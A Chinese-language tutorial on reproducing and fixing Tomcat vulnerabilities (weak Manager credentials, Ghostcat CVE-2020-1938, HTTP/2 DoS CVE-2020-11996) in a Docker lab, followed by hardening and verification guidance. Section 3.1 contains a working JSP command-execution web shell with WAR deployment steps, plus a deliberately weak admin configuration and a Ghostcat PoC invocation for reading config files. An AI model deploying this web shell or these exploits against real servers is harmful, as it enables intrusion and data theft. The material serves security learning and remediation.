1. 项目概述：为什么我们要亲手复现Tomcat漏洞？

在安全圈里待久了，你会发现一个有趣的现象：很多刚入门的朋友，一听到“漏洞”两个字，要么觉得高深莫测，要么就想着赶紧找个一键扫描工具扫一下了事。但真正想理解一个漏洞的来龙去脉，知道它到底有多危险，以及如何从根本上解决它，最有效的方法莫过于亲手把它“造”出来，再亲手把它“修”好。这就是漏洞复现（Vulnerability Reproduction）的核心价值。它不是一个炫技的过程，而是一个深度学习和构建防御认知的必经之路。

今天我们要聊的，就是Web应用服务器领域的“老将”——Apache Tomcat。作为一款历史悠久、应用广泛的Java Servlet容器，Tomcat承载了无数企业的关键业务。也正因如此，它历史上曝出的每一个高危漏洞，都牵动着无数系统管理员和安全研究员的心。仅仅知道漏洞编号（比如CVE-xxxx-xxxx）和风险等级是远远不够的。攻击者是如何利用的？漏洞产生的根本原因是什么？修复方案为什么是那样设计的？不搞清楚这些，你的修复可能就是“头痛医头，脚痛医脚”，甚至可能因为配置不当引入新的风险。

因此，这篇内容的目的很明确：我将带你一起，搭建一个靶场环境，亲手复现几个Tomcat历史上具有代表性的高危漏洞。我们会从漏洞的原理入手，一步步演示攻击者是如何利用这些漏洞的，最后再深入探讨官方的修复方案以及我们自己在运维中该如何加固。整个过程，你会看到具体的配置、发送的请求包、服务器的反应，以及修复前后的对比。相信我，走完这一趟，你对Tomcat安全的理解会深刻得多。

2. 环境准备与靶场搭建

动手之前，得先把“实验室”建好。漏洞复现必须在可控、隔离的环境中进行，绝对禁止在生产环境或任何联网的真实系统上尝试。

2.1 靶机环境选择与配置

为了覆盖不同版本的漏洞，我建议使用Docker来快速构建靶场，这能保证环境的纯净和可重复性。我们将主要针对两个经典的Tomcat版本进行复现：Tomcat 7.x（对应一些较早的AJP协议漏洞）和Tomcat 8.x/9.x（对应一些配置类漏洞）。你需要在本地安装好Docker和Docker Compose。

首先，我们创建一个工作目录，比如叫做tomcat-vuln-lab，在里面编写我们的Docker编排文件。

# Dockerfile for Tomcat 7 (with weak configuration) FROM tomcat:7-jre8 # 暴露AJP端口（默认8009）和HTTP端口（默认8080） EXPOSE 8080 8009 # 复制一个包含漏洞的简单web应用（比如一个弱口令的管理页面应用）到webapps目录 # 这里我们先使用默认的manager应用，但会将其配置为弱口令 COPY tomcat-users.xml /usr/local/tomcat/conf/ COPY context.xml /usr/local/tomcat/webapps/manager/META-INF/

对应的tomcat-users.xml文件内容如下，我们故意设置一个弱口令，并赋予管理员权限，用于模拟弱口令或默认口令场景：

<?xml version='1.0' encoding='utf-8'?> <tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <user username="admin" password="admin123" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui"/> </tomcat-users>

而context.xml文件，我们可能会先注释掉访问限制，模拟不安全的配置，后续再用于复现另一个漏洞：

<!-- 初始不安全的配置：允许所有IP访问Manager --> <Context antiResourceLocking="false" privileged="true" > <!-- 注释掉Valve，允许任意IP访问 --> <!-- <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" /> --> </Context>

另一个Dockerfile用于Tomcat 8/9，可能不需要特殊修改，直接用官方镜像即可，因为我们要复现的漏洞可能与其默认配置有关。

然后，编写docker-compose.yml来管理多个服务：

version: '3' services: tomcat7-vuln: build: ./tomcat7 container_name: tomcat7_vuln ports: - "18080:8080" # 将容器的8080映射到宿主机的18080端口 - "18009:8009" # 映射AJP端口 networks: - vuln-net tomcat8-vuln: image: tomcat:8.5-jre8 container_name: tomcat8_vuln ports: - "28080:8080" - "28009:8009" volumes: - ./tomcat8-users.xml:/usr/local/tomcat/conf/tomcat-users.xml # 挂载自定义用户文件 networks: - vuln-net networks: vuln-net: driver: bridge

注意：这里我们将Tomcat 7的HTTP端口映射到了宿主机的18080，Tomcat 8映射到了28080，AJP端口也做了相应映射。这是为了避免端口冲突，也方便我们同时运行多个靶机。记住，AJP端口（8009）的暴露是复现某些漏洞的关键前提。

2.2 必要的工具准备

光有靶机还不够，我们还需要“武器”（测试工具）。同样，这些工具也请在隔离的虚拟机或容器内使用。

1. Burp Suite / OWASP ZAP：Web漏洞测试的瑞士军刀。用于拦截、重放、修改HTTP/HTTPS请求，是手动测试和漏洞验证的核心。社区版就足够我们使用。
2. Nmap：端口扫描和服务发现工具。用于确认靶机端口开放情况，特别是AJP端口是否开放。

   nmap -sV -p 18080,18009,28080,28009 127.0.0.1

3. Metasploit Framework (可选)：对于某些已经有成熟利用模块的漏洞，可以用它来快速验证。但我们的重点是理解原理，所以更倾向于手动构造请求。
4. 特定漏洞利用脚本：例如，针对Tomcat AJP协议漏洞（如CVE-2020-1938，即“幽灵猫”漏洞），我们需要专门的利用工具。可以从可靠的GitHub仓库获取，如ajpfuzzer或特定PoC。
5. 浏览器及插件：准备一个干净的浏览器，配合如Proxy SwitchyOmega等插件，方便将流量导向Burp Suite。

环境准备好后，运行docker-compose up -d启动靶场。访问http://127.0.0.1:18080和http://127.0.0.1:28080，你应该能看到Tomcat的默认首页。

3. 核心漏洞原理与复现实操

下面，我们挑选三个具有代表性的Tomcat漏洞进行复现。每个漏洞我都会从原理、复现步骤、修复方法三个层面来拆解。

3.1 漏洞一：弱口令与未授权访问Manager App

这其实不算一个特定的CVE，而是最常见、也最容易被利用的安全问题。Tomcat Manager应用（/manager/html）提供了Web方式部署、启动、停止、卸载应用的功能，权限极高。

3.1.1 漏洞原理Tomcat安装后，如果管理员没有修改conf/tomcat-users.xml中的默认凭据，或者像我们之前配置的那样使用了弱口令（admin/admin123），并且没有在manager/META-INF/context.xml中配置IP访问限制（即我们注释掉了RemoteAddrValve），那么攻击者就可以通过暴力破解或直接使用默认口令登录Manager，从而完全控制服务器，可以上传恶意的WAR包获取服务器权限。

3.1.2 复现步骤

1. 访问靶机Manager应用：http://127.0.0.1:18080/manager/html
2. 浏览器会弹出一个HTTP基本认证的对话框。输入我们预设的弱口令：用户名admin，密码admin123。
3. 登录成功后，你将进入Tomcat Web应用管理器页面。在这里你可以看到所有已部署的应用。
4. 在页面的“WAR file to deploy”区域，我们可以上传一个恶意的WAR包。这个WAR包实际上是一个JSP木马。
   • 先创建一个简单的JSP木马文件shell.jsp，内容如下：

     <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

   • 将其打包成WAR文件：jar -cvf shell.war shell.jsp
5. 回到Manager页面，选择这个shell.war文件并上传部署。
6. 部署成功后，访问http://127.0.0.1:18080/shell/shell.jsp?cmd=id（假设你的应用上下文路径是/shell）。如果页面返回了执行id命令的结果（如uid=0(root) gid=0(root) groups=0(root)），则证明漏洞利用成功，你已获得了服务器命令执行权限。

3.1.3 漏洞修复与加固方法这个漏洞的修复是运维层面的最佳实践：

1. 强密码策略：修改tomcat-users.xml，使用复杂、随机的密码，并定期更换。删除不必要的用户。
2. 限制访问源：取消webapps/manager/META-INF/context.xml中关于RemoteAddrValve的注释，将其allow属性设置为仅允许管理员的IP地址或可信内网段。

   <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="192\.168\.1\.\d+|127\.0\.0\.1" />

3. 禁用或重命名Manager应用：如果不需要Web管理界面，可以直接删除webapps目录下的manager文件夹。或者，将其重命名为一个不易猜测的名字。
4. 使用防火墙策略：在服务器防火墙或安全组层面，只允许特定IP访问Tomcat的管理端口（8080/8443）。

实操心得：很多自动化扫描器第一个扫的就是/manager/html。在实际工作中，我见过太多因为赶工期或疏忽而遗留的弱口令Manager。修复后，务必重启Tomcat服务使配置生效。另外，不要依赖“安全通过隐蔽”的原则，认为别人找不到你的Manager路径，专业的扫描器目录字典里都有。

3.2 漏洞二：AJP协议文件包含/读取漏洞 (CVE-2020-1938)

这个漏洞就是著名的“幽灵猫”（Ghostcat）漏洞，影响范围极广，是Tomcat安全史上一个里程碑式的事件。

3.2.1 漏洞原理AJP（Apache JServer Protocol）是Tomcat与前端HTTP服务器（如Apache HTTPD）通信的一种二进制协议，默认监听在8009端口。在Tomcat 9.0.31之前、8.5.51之前、7.0.100之前的版本中，AJP Connector的实现存在缺陷。攻击者可以通过构造恶意的AJP请求，利用该协议读取Web应用目录下的任意文件，例如WEB-INF/web.xml（其中可能包含数据库密码等敏感信息），在特定配置下甚至可以实现文件包含，执行任意代码。

漏洞的核心在于AJP协议中的javax.servlet.include.request_uri等属性可以被恶意控制，从而让Tomcat误将攻击者指定的文件路径包含到请求处理流程中。

3.2.2 复现步骤

1. 确认环境：我们的Tomcat 7靶机（版本低于7.0.100）已经暴露了AJP端口（18009）。
2. 使用漏洞利用工具：手动构造AJP协议包比较复杂，我们使用现成的PoC脚本。这里以Python脚本为例（例如ghostcat.py）。

   python3 ghostcat.py 127.0.0.1 18009 /WEB-INF/web.xml

3. 观察结果：如果漏洞存在，脚本会通过AJP协议连接到Tomcat的8009端口，并尝试读取指定路径的文件。成功的话，会将WEB-INF/web.xml文件的内容打印到终端。WEB-INF目录通常受保护，无法通过HTTP直接访问，但通过此漏洞可以泄露。
4. 尝试文件包含（条件更苛刻）：如果目标应用允许文件上传（比如我们之前部署的Manager），并且知道上传文件的路径，理论上可以配合此漏洞实现远程代码执行。但通常直接读取敏感配置文件危害已经足够大。

3.2.3 漏洞修复方法官方修复方案非常明确：

1. 升级Tomcat版本：这是最根本的解决方案。升级到以下或更高版本：
   • Apache Tomcat 9.0.31+
   • Apache Tomcat 8.5.51+
   • Apache Tomcat 7.0.100+
2. 禁用AJP Connector：如果业务不需要使用AJP协议（例如，Tomcat独立运行，前面没有Apache/Nginx等通过AJP做代理），那么最安全的方式是直接禁用它。
   • 打开conf/server.xml。
   • 找到如下配置行（通常被注释）：

     <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->

   • 确保它被注释掉，或者直接删除该行。
   • 重启Tomcat。
3. 配置AJP Connector安全属性：如果必须使用AJP，在升级后，还可以在server.xml的AJP Connector配置中添加secret和secretRequired属性，启用AJP认证。

   <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="127.0.0.1" <!-- 只监听本地 --> secret="YourStrongAJPSecret" secretRequired="true" />

   这样，前端代理服务器也需要配置相同的secret才能连接，极大地增加了攻击门槛。

注意事项：修复后务必进行验证。可以尝试用之前的PoC脚本再次连接AJP端口，应该会连接失败或无法读取文件。在生产环境，升级前务必在测试环境充分验证，因为Tomcat大版本间的兼容性可能存在问题。对于无法立即升级的系统，禁用AJP是立竿见影的临时缓解措施。

3.3 漏洞三：HTTP/2拒绝服务漏洞 (CVE-2020-11996)

这个漏洞展示了即使是最新的协议（HTTP/2），实现不当也会导致严重问题。它允许攻击者通过发送特制的HTTP/2请求序列，使Tomcat服务器耗尽工作线程，从而导致拒绝服务。

3.3.2 漏洞原理在Tomcat 10.0.0-M1到10.0.0-M6， 9.0.0.M1到9.0.36， 8.5.0到8.5.56版本中，HTTP/2连接器的处理逻辑存在缺陷。当客户端在流（stream）处理过程中发送RST_STREAM帧后，Tomcat未能正确清理相关资源。如果攻击者快速、持续地建立HTTP/2连接并发送RST_STREAM帧，会导致Tomcat的线程池（maxThreads）被迅速占满，无法再处理新的合法请求，实现拒绝服务攻击。

3.3.2 复现步骤（概念验证）由于该漏洞是资源耗尽型，复现需要编写脚本模拟攻击行为，且可能对靶机造成影响。请在测试环境中谨慎操作。

1. 准备存在漏洞的Tomcat：我们使用Tomcat 9.0.35作为靶机（在受影响范围内）。可以通过Docker快速启动：docker run -p 38080:8080 tomcat:9.0.35-jre8。
2. 验证HTTP/2支持：使用curl检查服务器是否支持HTTP/2。

   curl -k -I --http2 https://localhost:38080/ # 如果配置了HTTPS # 或者使用工具如 h2load 测试

3. 编写简易攻击脚本：以下是一个简化的Python概念脚本，用于模拟发送HTTP/2请求并立即发送RST_STREAM帧。实际利用工具更为复杂。

   # 这是一个高度简化的概念演示，实际需要依赖h2等库完整实现HTTP/2协议栈 import socket import ssl # ... 省略复杂的HTTP/2帧构造代码 ... # 核心攻击循环：建立连接 -> 发送请求头 -> 立即发送RST_STREAM -> 断开连接 -> 重复

   注意：由于完整实现HTTP/2客户端攻击脚本较为复杂，通常安全研究人员会使用修改后的开源压力测试工具（如h2load）或专门的PoC。这里旨在说明原理。

4. 观察效果：在攻击脚本运行的同时，使用浏览器或curl尝试访问正常的Tomcat页面（如/），会发现响应极其缓慢甚至完全无响应。同时，可以监控Tomcat的线程状态（通过JMX或监控日志），会发现活动线程数接近配置的最大值。

3.3.3 漏洞修复方法

1. 升级Tomcat：升级到已修复的版本：
   • Tomcat 10.0.0-M7 及以上
   • Tomcat 9.0.37 及以上
   • Tomcat 8.5.57 及以上
2. 禁用HTTP/2：如果业务暂时不需要HTTP/2，可以在conf/server.xml中修改HTTP Connector的配置，将protocol属性设置为HTTP/1.1，从而禁用HTTP/2。

   <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />

3. 配置连接和线程限制：作为纵深防御策略，合理配置maxConnections和maxThreads参数，可以在一定程度上缓解此类资源耗尽攻击的影响，但无法根除漏洞。

实操心得：HTTP/2漏洞的复现门槛相对较高，需要理解HTTP/2协议帧格式。对于运维人员来说，更重要的是及时关注Tomcat官方的安全公告，并对测试和开发环境的Tomcat也一视同仁地进行升级。拒绝服务漏洞虽然不直接导致数据泄露，但会使业务中断，同样危害巨大。

4. 漏洞修复的通用流程与深度加固指南

完成了单个漏洞的复现和修复，我们还需要建立一个系统化的漏洞管理流程和加固体系。

4.1 漏洞修复标准化流程

1. 情报收集与确认：

   • 订阅安全公告：关注Apache Tomcat官方安全邮件列表、NVD（国家漏洞数据库）、CNVD/CNNVD等。
   • 资产梳理：建立完整的资产清单，明确每个业务使用的Tomcat版本、部署路径、配置文件位置。
   • 漏洞影响分析：收到漏洞通告后，立即根据CVE编号和描述，判断其影响范围（版本）、攻击路径（远程/本地）、危害等级（CVSS评分）。利用我们复现的经验，快速评估风险。

2. 测试环境验证：

   • 搭建镜像环境：使用Docker或虚拟机，快速搭建与生产环境版本一致的Tomcat进行漏洞复现验证，确保漏洞真实存在。
   • 验证修复方案：在测试环境应用官方补丁或升级到安全版本，并再次使用PoC验证漏洞是否已修复。同时进行基本的业务功能回归测试。

3. 制定修复方案与回滚计划：

   • 方案选择：是升级小版本、打补丁，还是通过配置修改临时缓解？评估每种方案对业务的影响（停机时间、兼容性风险）。
   • 回滚准备：备份当前的Tomcat安装目录、配置文件、Web应用。确保在修复失败时能快速回退。

4. 生产环境实施：

   • 选择维护窗口：在业务低峰期进行操作。
   • 执行操作：按照测试验证过的步骤进行升级或配置修改。
   • 验证与监控：修复后，立即进行漏洞修复验证（使用安全扫描工具或手动检查）。并监控应用日志、性能指标，确保业务运行正常。

4.2 Tomcat深度安全加固清单

除了针对特定漏洞的修复，以下加固措施应作为安全基线配置：

1. 权限最小化：

   • 运行身份：不要使用root用户运行Tomcat。创建一个专用的、低权限的系统用户（如tomcat），并将Tomcat目录的所有权赋予该用户。
   • 文件权限：确保conf、logs、webapps等目录的权限设置严格。conf目录下的配置文件（如tomcat-users.xml、server.xml）应仅对tomcat用户可读可写。
   • 服务端口：避免以root身份绑定1024以下端口。如果必须使用80/443端口，建议通过前端代理（如Nginx）或使用authbind、setcap等机制。

2. 配置文件加固：

   • 删除示例应用：移除webapps目录下的docs,examples,host-manager,manager（除非必要）等默认应用。
   • 禁用不必要协议：如前所述，不需要AJP就注释掉server.xml中的AJP Connector。评估是否启用HTTPS并禁用HTTP。
   • 错误信息定制：在conf/web.xml中配置自定义的错误页面，避免泄露服务器版本、路径等敏感信息。

     <error-page> <error-code>500</error-code> <location>/error.html</location> </error-page>

   • 限制HTTP方法：在conf/web.xml的security-constraint中，可以限制不必要的HTTP方法（如PUT, DELETE, TRACE）。

     <security-constraint> <web-resource-collection> <web-resource-name>Restricted Methods</web-resource-name> <url-pattern>/*</url-pattern> <http-method-omission>GET</http-method-omission> <http-method-omission>POST</http-method-omission> <http-method-omission>HEAD</http-method-omission> </web-resource-collection> <auth-constraint /> </security-constraint>

3. 网络层防护：

   • 防火墙：严格限制访问Tomcat端口的源IP。管理端口（8080, 8009等）应仅对运维网络开放。公网只暴露必要的80/443（通常由前端代理监听）。
   • 反向代理：使用Nginx或Apache作为反向代理，隐藏Tomcat后端信息，并可以提供WAF（Web应用防火墙）功能，过滤常见Web攻击。

4. 日志与监控：

   • 启用访问日志：在server.xml中配置AccessLogValve，记录所有请求，便于事后审计和攻击分析。
   • 集中日志管理：将Tomcat的catalina.out、localhost_access_log等日志接入ELK或Splunk等日志分析平台。
   • 设置监控告警：对Tomcat进程状态、线程池使用率、响应时间、错误率等进行监控，并设置阈值告警。

5. 常见问题排查与修复后验证

修复漏洞后，或者在日常运维中遇到Tomcat相关安全警报时，如何快速排查和确认？

5.1 漏洞修复是否生效？

这是最关键的一步。不能仅凭“我已经升级了版本”就高枕无忧。

1. 版本确认：

   • 命令行：进入Tomcat的bin目录，执行./version.sh（Linux）或version.bat（Windows），查看详细版本信息。
   • Web页面：访问Tomcat默认首页，页面底部通常会显示版本号。但请注意，这个信息可能被修改。
   • 最准确方式：检查lib目录下catalina.jar的MANIFEST.MF文件中的版本信息。

2. 配置验证：

   • AJP端口：使用netstat -tlnp | grep 8009或ss -tlnp | grep 8009检查8009端口是否仍在监听。如果已注释配置但端口仍在，可能是旧的Tomcat进程未完全停止，需要kill后重启。
   • Manager访问控制：尝试从非白名单IP访问/manager/html，应该返回403禁止访问或要求认证，且认证后也应被RemoteAddrValve拒绝。

3. 漏洞POC复测：

   • 使用之前验证漏洞存在的PoC脚本或工具，在修复后的环境再次运行。预期结果应为失败（连接拒绝、认证失败、无法读取文件等）。

5.2 修复后应用出现兼容性问题怎么办？

升级版本或修改安全配置后，应用无法启动或运行异常，是常见问题。

1. 查看日志：第一时间检查logs/catalina.out和logs/localhost.yyyy-MM-dd.log，错误信息通常非常明确。
2. 常见兼容性问题：
   • Java版本不匹配：高版本Tomcat可能需要更高版本的JRE。确认JAVA_HOME环境变量指向正确的JDK。
   • API弃用：Tomcat版本升级可能弃用了某些内部API。如果应用直接使用了Tomcat内部类（这本身是不良实践），可能会报ClassNotFoundException或NoSuchMethodError。解决方案是修改应用代码，使用标准Servlet API。
   • 配置语法变更：不同大版本间（如Tomcat 7到8，8到9），server.xml或context.xml的某些配置项语法可能有变。参考官方文档的“Migration Guide”进行适配。
3. 回滚策略：如果问题短期内无法解决，应立即执行回滚计划，恢复备份，保证业务先行。同时，在测试环境重现问题，寻求开发团队的帮助。

5.3 安全扫描器持续报告“疑似漏洞”警报

有时即使修复了，扫描器仍可能基于版本号或某些响应头信息报告中低风险漏洞。

1. 鉴别警报类型：

   • 版本信息泄露：Tomcat默认错误页面或响应头Server字段会包含版本号。可以通过配置server.xml中的Server属性为模糊值，以及定制错误页面来缓解。但这只是信息隐藏，并非修复了漏洞本身。

     <Connector port="8080" protocol="HTTP/1.1" server="Unknown" />

   • 低危配置建议：如HTTPS未启用、Cookie未设置HttpOnly等。这些属于安全最佳实践建议，应根据业务实际情况评估后实施。
   • 误报：扫描器可能无法准确判断漏洞是否存在。需要手动验证，如果确认已按官方方案修复，可以标记为误报。

2. 建立白名单机制：与安全团队或扫描器管理平台协作，对已验证修复的漏洞警报进行标记或关闭，避免干扰。但需定期复审，防止配置漂移导致漏洞复发。

漏洞管理是一个持续的过程，而非一劳永逸的任务。通过亲手复现，我们不仅知道了漏洞怎么修，更理解了为什么要这么修，以及修复可能带来的副作用。这份从攻击者视角审视自身防御体系的经验，是任何自动化工具都无法替代的。保持对官方安全动态的关注，建立完善的资产管理和补丁流程，定期进行安全配置审计和渗透测试，才能让你的Tomcat服务器在复杂的网络环境中稳如磐石。